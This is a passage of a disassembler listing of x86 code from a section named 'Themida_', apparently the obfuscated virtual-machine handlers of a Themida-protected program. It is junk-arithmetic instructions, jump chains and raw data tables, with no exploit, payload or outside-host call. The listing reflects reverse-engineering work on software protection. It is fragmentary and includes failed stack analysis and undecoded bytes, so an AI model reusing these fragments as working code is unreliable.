loc_55C8FB:				; CODE XREF: sub_559F2D+13j
		sub	al, bl
		sub	al, 76h
		jmp	loc_55CF4E
; END OF FUNCTION CHUNK	FOR sub_559F2D
; ---------------------------------------------------------------------------


loc_55C904:				; CODE XREF: Themida_:0055C777j
		push	esi
		mov	esi, 25994133h
		shl	esi, 7
		or	esi, 48A73382h
		push	ebx
		push	esi
		mov	esi, 793F19F4h
		shl	esi, 1
		neg	esi
		add	esi, 504D6A2Ch
		jmp	loc_55BBE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C929:				; CODE XREF: sub_556A70+2A69j
		mov	ax, word ptr [esp-0Ah+arg_4+2]
		push	ebx
		mov	ebx, esp
		jmp	loc_5518A1
; ---------------------------------------------------------------------------


loc_55C935:				; CODE XREF: sub_556A70-19A8j
		div	cl
		movzx	cx, ah
		push	ebp
		mov	ebp, esp
		jmp	loc_55107A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C943:				; CODE XREF: Themida_:0055B4B0j
		mov	edx, [esp]
		jmp	loc_558F47
; ---------------------------------------------------------------------------


loc_55C94B:				; CODE XREF: Themida_:00559748j
		add	esp, 4
		push	ebx
		sub	esp, 4
		jmp	loc_550E52
; ---------------------------------------------------------------------------


loc_55C95A:				; CODE XREF: Themida_:0055209Ej
		mov	[esp], esi
		push	eax
		mov	eax, 46A6BD7h
		mov	esi, 46A6BD9h
		sub	esi, eax
		pop	eax
		sub	ebp, 64903E5Bh
		jmp	loc_5586CB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	789Eh
		jmp	loc_558AD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C984:				; CODE XREF: sub_556A70-165j
		pop	ebp
		and	ebp, 74EF338Eh
		push	eax
		mov	eax, 298E040Bh
		xor	eax, 7B0611B4h
		inc	eax
		jmp	loc_556FD5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C99C:				; CODE XREF: Themida_:00558C0Ej
		xor	dh, 47h
		shr	dh, 2
		jmp	loc_5531F3
; ---------------------------------------------------------------------------


loc_55C9A7:				; CODE XREF: Themida_:0055BFC8j
		mov	[esp], edx
		push	esp
		pop	edx
		push	edi
		jmp	loc_555A50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5582B3


loc_55C9B2:				; CODE XREF: sub_5582B3+2433j
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_553517
; END OF FUNCTION CHUNK	FOR sub_5582B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C9C1:				; CODE XREF: sub_556A70+645j
		mov	ebx, 24F75D55h
		jmp	loc_555174
; ---------------------------------------------------------------------------


loc_55C9CB:				; CODE XREF: sub_556A70+1EF7j
		add	eax, 1BE040E6h
		mov	edi, [esp+0Ah+var_C+2]
		add	esp, 4
		xor	eax, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], eax
		xor	eax, [esp+6+var_8+2]
		jmp	loc_5574BA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	5D02h
		mov	[esp], esi
		mov	esi, 400h
		or	[edi+1Ch], esi
		mov	esi, [esp]
		jmp	loc_552B29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C9FC:				; CODE XREF: sub_556A70-1ECEj
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp-8+arg_4]
		jmp	loc_5532A4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_55CA07:				; CODE XREF: sub_5566B9-1E81j
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_559602
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F87


loc_55CA0F:				; CODE XREF: sub_559F87-85BAj
		add	esp, 4
		jmp	loc_552267
; END OF FUNCTION CHUNK	FOR sub_559F87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CA1A:				; CODE XREF: sub_556A70+2EE0j
		push	edx
		mov	edx, 24487463h
		jmp	loc_551244
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CA25:				; CODE XREF: Themida_:0055BD19j
		mov	ebp, 46DF201Ah
		push	edi
		mov	edi, 35F00716h
		jmp	loc_550DE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CA35:				; CODE XREF: sub_556A70+1F2j
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		pop	esp
		jmp	loc_55CE5C
; ---------------------------------------------------------------------------


loc_55CA51:				; CODE XREF: sub_556A70+F45j
		mov	edi, esp
		add	edi, 4
		push	ecx
		push	eax
		mov	eax, 12C7713Dh
		dec	eax
		shr	eax, 3
		not	eax
		jmp	loc_55770B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CA6B:				; CODE XREF: Themida_:0055966Cj
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_552D07
; ---------------------------------------------------------------------------


loc_55CA75:				; CODE XREF: Themida_:00554E4Aj
		pop	edi
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	eax, ecx
		mov	ecx, [esp]
		jmp	loc_55C6AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558AE7


loc_55CA8B:				; CODE XREF: sub_558AE7-4088j
		add	esp, 4
		jmp	loc_555830
; END OF FUNCTION CHUNK	FOR sub_558AE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55CA93:				; CODE XREF: sub_5584F8-7558j
		add	[esp-4+arg_4], edx
		sub	[esp-4+arg_4], 563C6DCFh
		pop	edx
		mov	eax, [esp-8+arg_4]
		jmp	loc_552375
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CAA8:				; CODE XREF: sub_556A70+1BEFj
		and	edi, 0B50AE2h
		dec	edi
		push	esi
		push	ebp
		mov	ebp, 0FFEC0005h
		mov	esi, ebp
		pop	ebp
		add	edi, esi
		pop	esi
		add	eax, edi
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_55A113
; ---------------------------------------------------------------------------


loc_55CAC9:				; CODE XREF: sub_556A70+C96j
		xchg	edi, [esp+10h+var_10]
		jmp	loc_5557D3
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	edi
		push	esi
		jmp	loc_556973
; ---------------------------------------------------------------------------


loc_55CADE:				; CODE XREF: Themida_:00558086j
		add	edi, ebx
		jmp	loc_5591F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE6E


loc_55CAE5:				; CODE XREF: sub_55AE6E-1620j
		pop	ax
		neg	dl
		jmp	loc_55B226
; END OF FUNCTION CHUNK	FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558D0E


loc_55CAEE:				; CODE XREF: sub_558D0E+13j
		add	ebp, 0EB80F484h
		mov	edx, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		or	edx, 66C43759h
		push	edi
		push	ebx
		jmp	loc_55133C
; END OF FUNCTION CHUNK	FOR sub_558D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CB0C:				; CODE XREF: sub_556A70+167Bj
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	ecx
		push	ebp
		mov	ebp, 427D6FA0h
		jmp	loc_55A12B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CB21:				; CODE XREF: Themida_:0055C602j
		add	eax, edi
		pop	edi
		sub	eax, edx
		jmp	loc_557D2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E24


loc_55CB2B:				; CODE XREF: sub_552E24+1j
		push	22B33A4Eh
		pop	ebx
		jmp	loc_55B0C8
; END OF FUNCTION CHUNK	FOR sub_552E24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5539DB


loc_55CB36:				; CODE XREF: sub_5539DB-265Dj
		mov	[esp+0Ch+var_C], esi
		push	ebx
		push	414B076Fh
		jmp	loc_5587AF
; END OF FUNCTION CHUNK	FOR sub_5539DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CB44:				; CODE XREF: sub_556A70-5A40j
		mov	esi, ebp
		jmp	loc_5563F1
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55A30D
; ---------------------------------------------------------------------------
		lodsb
		push	bx
		mov	bl, 0EBh
		sub	al, bl
		jmp	loc_550ADF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_552F58
; ---------------------------------------------------------------------------


loc_55CB69:				; CODE XREF: Themida_:005559C0j
		add	esp, 4
		push	edi
		mov	edi, eax
		mov	ebx, edi
		jmp	loc_5590BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5563FF


loc_55CB76:				; CODE XREF: sub_5563FF+9j
		pop	ebx
		xor	ebp, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebp
		xor	ebp, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		imul	cl
		movzx	cx, ah
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_55C6E0
; END OF FUNCTION CHUNK	FOR sub_5563FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CB9D:				; CODE XREF: sub_556A70+EFCj
		pop	ebx
		add	ebp, edx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp+0]
		mov	ebp, [esp+4+var_4]
		jmp	loc_55400C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CBAE:				; CODE XREF: Themida_:0055C469j
		neg	edx
		sub	edx, 0A5A97592h
		jmp	loc_553EFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CBBB:				; CODE XREF: sub_556A70+2AAj
		mov	ecx, 624162A5h
		sub	edi, ecx
		pop	ecx
		pop	eax
		add	edi, 3EF7630Bh
		add	ebp, edi
		pop	edi
		push	ecx
		jmp	loc_556CF1
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CBD3:				; CODE XREF: Themida_:00550DF5j
		pop	edx
		sub	eax, edi
		add	eax, 5CEC5F75h
		pop	edi
		sub	eax, ebp
		push	ecx
		mov	ecx, 6820380h
		jmp	loc_55136E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CBE9:				; CODE XREF: sub_556A70-32Ej
		push	eax
		jmp	loc_5523AC
; ---------------------------------------------------------------------------


loc_55CBEF:				; CODE XREF: sub_556A70+B69j
		push	5400h
		mov	[esp-16h+arg_10+2], edx
		sub	esp, 4
		jmp	loc_557996
; ---------------------------------------------------------------------------


loc_55CBFF:				; CODE XREF: sub_556A70+F06j
		xor	ch, 0D1h
		sub	ch, 7
		shl	ch, 4
		push	ebx
		mov	bh, 75h
		shl	bh, 2
		dec	bh
		or	bh, 19h
		jmp	loc_5550A1
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CC18:				; CODE XREF: Themida_:0055BEE7j
		mov	esi, 2
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		movsx	cx, al
		push	eax
		jmp	loc_5541E2
; ---------------------------------------------------------------------------


loc_55CC2E:				; CODE XREF: Themida_:0055A325j
		mov	edx, 38C35FEDh
		add	edx, 0C82060h
		jmp	loc_558B72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CC3E:				; CODE XREF: sub_556A70+3B1Fj
		neg	edi
		jmp	loc_556AD7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CC45:				; CODE XREF: Themida_:0055A961j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5574AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CC69:				; CODE XREF: sub_556A70-3E1j
		idiv	cl
		movzx	cx, ah
		push	small 4E1h
		mov	word ptr [esp+0Eh+var_10+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55C1A2
; ---------------------------------------------------------------------------


loc_55CC83:				; CODE XREF: sub_556A70-2243j
		mov	[esp-10h+arg_C], ebx
		mov	ebx, 4
		jmp	loc_555530
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_55CC90	proc near		; CODE XREF: sub_556A70-4B98j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005510C9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552884 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00552FAD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005563DE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055887D SIZE 0000003F BYTES

		sub	esp, 4
		jmp	loc_5563DE
sub_55CC90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CC98:				; CODE XREF: sub_556A70+448Aj
		add	esp, 4
		push	edx
		mov	edx, 24756452h
		dec	edx
		shr	edx, 5
		jmp	loc_55680C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE6E


loc_55CCAA:				; CODE XREF: sub_55AE6E+1j
		mov	bh, 0BBh
		not	bh
		not	bh
		not	bh
		add	bh, 0A5h
		jmp	loc_55499E
; END OF FUNCTION CHUNK	FOR sub_55AE6E
; ---------------------------------------------------------------------------


loc_55CCBA:				; CODE XREF: Themida_:005534ACj
		add	edi, 4
		add	edi, 4
		jmp	loc_558F0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55CCCB:				; CODE XREF: sub_5584F8-49ACj
		xor	edx, 0CE15F3Dh
		xor	edx, 78013835h
		mov	ebx, edx
		pop	edx
		jmp	loc_55A8D0
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CCDF:				; CODE XREF: sub_556A70+2FEEj
		push	7512h
		jmp	loc_55BB05
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CCE9:				; CODE XREF: Themida_:0055261Dj
		mov	ecx, 2
		add	edx, ecx
		jmp	loc_556C44
; ---------------------------------------------------------------------------


loc_55CCF5:				; CODE XREF: Themida_:00555EC0j
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 43090677h
		jmp	loc_5562A1
; ---------------------------------------------------------------------------


loc_55CD07:				; CODE XREF: Themida_:00558746j
		mov	ebp, esp
		push	ecx
		mov	ecx, 9E878ECh
		not	ecx
		add	ecx, 9E878F1h
		add	ebp, ecx
		jmp	loc_557DF9
; ---------------------------------------------------------------------------


loc_55CD1E:				; CODE XREF: Themida_:00551A2Cj
		add	eax, 4
		sub	eax, 2
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_553B0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E24


loc_55CD39:				; CODE XREF: sub_552E24-1F4Dj
		add	ebp, ecx
		pop	ecx
		mov	ebx, ebp
		pop	ebp
		jmp	loc_559C8D
; END OF FUNCTION CHUNK	FOR sub_552E24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CD44:				; CODE XREF: sub_556A70+148j
		mov	ecx, 0
		mov	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+24h+var_24], ebp
		mov	ebx, [esp+24h+var_24]
		add	esp, 4
		pop	ebp
		jmp	loc_55339D
; ---------------------------------------------------------------------------


loc_55CD61:				; CODE XREF: sub_556A70-32CAj
		xor	dh, cl
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		xor	al, dh
		jmp	loc_555696
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABA3


loc_55CD74:				; CODE XREF: sub_55ABA3+Dj
		dec	ebp
		push	edx
		mov	edx, 6C300F1Eh
		xor	ebp, edx
		mov	edx, [esp+8+var_8]
		jmp	loc_550CE4
; END OF FUNCTION CHUNK	FOR sub_55ABA3
; ---------------------------------------------------------------------------


loc_55CD85:				; CODE XREF: Themida_:005535C6j
		add	[esp], eax
		push	eax
		push	39041E9Bh
		pop	eax
		sub	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CD9E:				; CODE XREF: sub_556A70+542Fj
		add	edi, 4EEE1766h
		pop	ecx
		jmp	loc_55B3C5
; ---------------------------------------------------------------------------


loc_55CDAA:				; CODE XREF: sub_556A70-46A3j
		sub	dh, 8
		jmp	loc_550A58
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CDB2:				; CODE XREF: Themida_:00550CDFj
		pop	esp
		sub	al, 84h
		sub	al, bl
		add	al, 84h
		push	ebx
		mov	bh, 0E6h
		not	bh
		push	eax
		mov	al, 87h
		jmp	loc_5550F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553D17


loc_55CDC6:				; CODE XREF: sub_553D17-311Fj
		mov	dl, 12h
		sub	bl, dl
		pop	edx
		jmp	loc_5566D3
; END OF FUNCTION CHUNK	FOR sub_553D17
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A6CD


loc_55CDD7:				; CODE XREF: sub_55A6CD-DAFj
		xor	ebp, 5DA67C9Bh
		jmp	sub_558D0E
; END OF FUNCTION CHUNK	FOR sub_55A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CDE2:				; CODE XREF: sub_556A70+3DEj
		mov	edx, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55C4A8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CDF3:				; CODE XREF: Themida_:005583C4j
		add	esi, 18C92C1Fh
		add	esi, edx
		sub	esi, 18C92C1Fh
		jmp	loc_55A475
; ---------------------------------------------------------------------------


loc_55CE06:				; CODE XREF: Themida_:005538E3j
		mov	[esp], eax
		jmp	loc_55B1B7
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_55BE76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CE16:				; CODE XREF: sub_556A70+B98j
		pop	edi
		mov	ebp, ecx
		pop	ecx
		push	[esp-22h+arg_1C+2]
		pop	edx
		jmp	loc_554C7C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CE23:				; CODE XREF: Themida_:0055A8CBj
		pop	ecx
		add	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 2
		jmp	loc_55A4FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B88F


loc_55CE32:				; CODE XREF: sub_55B88F+Aj
		pop	ecx
		pop	[esp+4+var_4]
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_55B88F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B730


loc_55CE3F:				; CODE XREF: sub_55B730-783Aj
					; sub_553651+1663j
		push	ecx
		push	esp
		jmp	loc_555ABB
; END OF FUNCTION CHUNK	FOR sub_55B730
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CE46:				; CODE XREF: sub_556A70+363Fj
		xor	eax, ebp
		jmp	sub_5567EA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CE5C:				; CODE XREF: sub_556A70+5FDCj
		add	esp, 4
		jmp	loc_55A724
; ---------------------------------------------------------------------------


loc_55CE67:				; CODE XREF: sub_556A70+4ADFj
		push	dword ptr [eax]
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CE6E:				; CODE XREF: Themida_:005588CAj
		neg	edx
		shr	edx, 4
		add	edx, 0FFCFC833h
		add	eax, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5580B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CE8C:				; CODE XREF: sub_556A70+3982j
		push	ecx
		mov	ecx, 2
		add	esi, ecx
		jmp	loc_55977B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2AFDh
		mov	[esp], edx
		jmp	loc_553AEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CEAA:				; CODE XREF: sub_556A70+3118j
		add	[esp-1Eh+arg_18+2], 4
		pop	edi
		push	edx
		mov	edx, 4
		jmp	loc_55259F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CEBA:				; CODE XREF: Themida_:00558273j
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_553C73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CEC5:				; CODE XREF: sub_556A70+410j
		shl	dword ptr [esp+0], cl
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CECE:				; CODE XREF: Themida_:00557E05j
		add	eax, 1420253Eh
		jmp	loc_55AD80
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		jmp	loc_5573F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CEE0:				; CODE XREF: sub_556A70+509Fj
		pop	esi
		jmp	loc_55C051
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55CEE6:				; CODE XREF: Themida_:005557BDj
		push	edx
		push	ebx
		push	6DB6h
		mov	[esp], edi
		mov	edi, 356BA5h
		xor	edi, 4A6D7510h
		mov	ebx, edi
		pop	edi
		neg	ebx
		add	ebx, 4A581EB9h
		mov	edx, ebx
		pop	ebx
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_55742F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55CF17:				; CODE XREF: sub_556A70+2E22j
		neg	di
		jmp	loc_556EC6
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		db 66h
		dd 5124048Bh, 81E78957h, 4C7h, 4EF8100h, 87000000h, 0E95C243Ch
		dd 0FFFFDEAFh
; ---------------------------------------------------------------------------


loc_55CF3C:				; CODE XREF: Themida_:0055B1DCj
		pop	eax
		push	ebx
		jmp	loc_55A009
; ---------------------------------------------------------------------------


loc_55CF43:				; CODE XREF: Themida_:0055A4A4j
		push	eax
		mov	eax, 6E0741DDh
		jmp	loc_556C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F2D


loc_55CF4E:				; CODE XREF: sub_559F2D+29D2j
		push	[esp+4+var_4]
		jmp	loc_5567C3
; END OF FUNCTION CHUNK	FOR sub_559F2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558AE7


loc_55CF56:				; CODE XREF: sub_558AE7-960j
		mov	eax, ebx
		jmp	loc_554A45
; END OF FUNCTION CHUNK	FOR sub_558AE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55CF5D:				; CODE XREF: sub_5584F8-2E7j
		push	edx
		push	5B7B58E1h
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_559213
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_55CF6B:				; CODE XREF: Themida_:0055B5A5j
		pop	ebp
		jmp	loc_559D19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5521AC


loc_55CF71:				; CODE XREF: sub_5521AC+63ECj
		push	edx
		mov	dl, 9Fh
		add	bl, dl
		pop	edx
		jmp	loc_559A78
; END OF FUNCTION CHUNK	FOR sub_5521AC
; ---------------------------------------------------------------------------


loc_55CF7C:				; CODE XREF: Themida_:0055C5D4j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		or	bl, 0B1h
		inc	bl
		and	bl, 27h
		not	bl
		or	bl, 0BEh
		push	edx
		mov	dl, 6Ah
		sub	dl, 0B0h
		add	dl, 44h
		shr	dl, 1
		add	dl, 19h
		jmp	loc_558E76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55CFA6:				; CODE XREF: sub_5584F8+8DAj
		sub	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 1793530Ch
		and	edi, 5EAE3578h
		inc	edi
		jmp	loc_55B8D9
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_55CFBB:				; CODE XREF: Themida_:00557BD2j
		pop	edx
		xor	eax, edi
		pop	edi
		add	edi, eax
		jmp	loc_55A568
; ---------------------------------------------------------------------------
		dw 304h
		dd 8B7FFEh, 69DD0000h, 59CB00A2h, 66030000h, 59CB005Bh
		dd 8BDF005Bh, 217FA40h,	20000h,	10000h,	20000h,	8BDF0000h
		dd 0FA40h, 4 dup(0)
		dd 0D5BB0000h, 4B970056h, 8FB90056h, 40A90056h,	1EDC0056h
		dd 0D5CC0056h, 26B0055h, 0C7A20056h, 4A1A0056h,	6A1B0056h
		dd 0A7A20056h, 9C90056h, 9CC30057h, 55E30056h, 70040056h
		dd 1870056h, 0E9B70056h, 0FB3F0055h, 17910055h,	0F3A30056h
		dd 6D930056h, 95F30056h, 242E0056h, 0EA810056h,	0F1F40056h
		dd 5FEF0055h, 2ECF0056h, 7E590056h, 16000056h, 0DB970057h
		dd 0EDF90055h, 718A0055h, 68550056h, 7C5A0056h,	0AF20056h
		dd 0F3180057h, 0BC3D0056h, 0D5550056h, 0E8A60055h, 0E100055h
		dd 251D0057h, 0ED930056h, 0F8690056h, 0C80F0056h, 4FA30056h
		dd 74840056h, 0B0110056h, 0E2120056h, 4CD50056h, 0DFB20056h
		dd 0C0E40056h, 5E580056h, 0C1B00056h, 184D0056h, 0A0300057h
		dd 0C9300056h, 256F0056h, 7A680056h, 29F50056h,	8680057h
		dd 6FF80056h, 3F8D0056h, 3C7A0056h, 8FA30056h, 0F7650056h
		dd 19F80055h, 0D59B0056h, 8590055h, 141E0056h, 2F880057h
		dd 3C600056h, 5E50056h,	13470057h, 0CBB30056h, 2E4F0056h
		dd 0D1A50056h, 16D90056h, 9AC80056h, 6E320056h,	1EFA0056h
		dd 0C080057h, 0B1780057h, 452D0056h, 5AAD0056h,	0D1360056h
		dd 0C10056h, 35E50057h,	19070056h, 412B0056h, 0B1DB0056h
		dd 0BF2D0056h, 6AB20056h, 93A50056h, 735A0056h,	24280056h
		dd 0FE6C0057h, 0A2540056h, 325E0056h, 68DE0056h, 0EDF20056h
		dd 208B0056h, 86F90056h, 23210056h, 0F0E20056h,	790E0056h
		dd 0C53A0056h, 0AB590056h, 62F00056h, 6FDE0056h, 18C20056h
		dd 0FB190057h, 126B0056h, 7ED80056h, 10C0056h, 77B90057h
		dd 70D20056h, 6F520056h, 453E0056h, 1DF20056h, 67220057h
		dd 0B94B0056h, 5B20056h, 15A90056h, 9DA20056h, 0AC7D0056h
		dd 83C0056h, 62E20057h,	14F50056h, 61A10057h, 8ED50056h
		dd 0F6A70056h, 0F63A0055h, 0FA630056h, 135A0055h, 9D9B0056h
		dd 55D40056h, 0E7FB0056h, 72F70055h, 5800056h, 14C0056h
		dd 0EF9F0057h, 48250055h, 3E410056h, 2F210056h,	0E2E30056h
		dd 0ECB20055h, 0D9F70056h, 14A70055h, 0F2870056h, 45600056h
		dd 170A0056h, 0A12E0056h, 1BFF0056h, 78D70056h,	50E00056h
		dd 0E8010056h, 51020055h, 0D8430056h, 63250056h, 0A3590056h
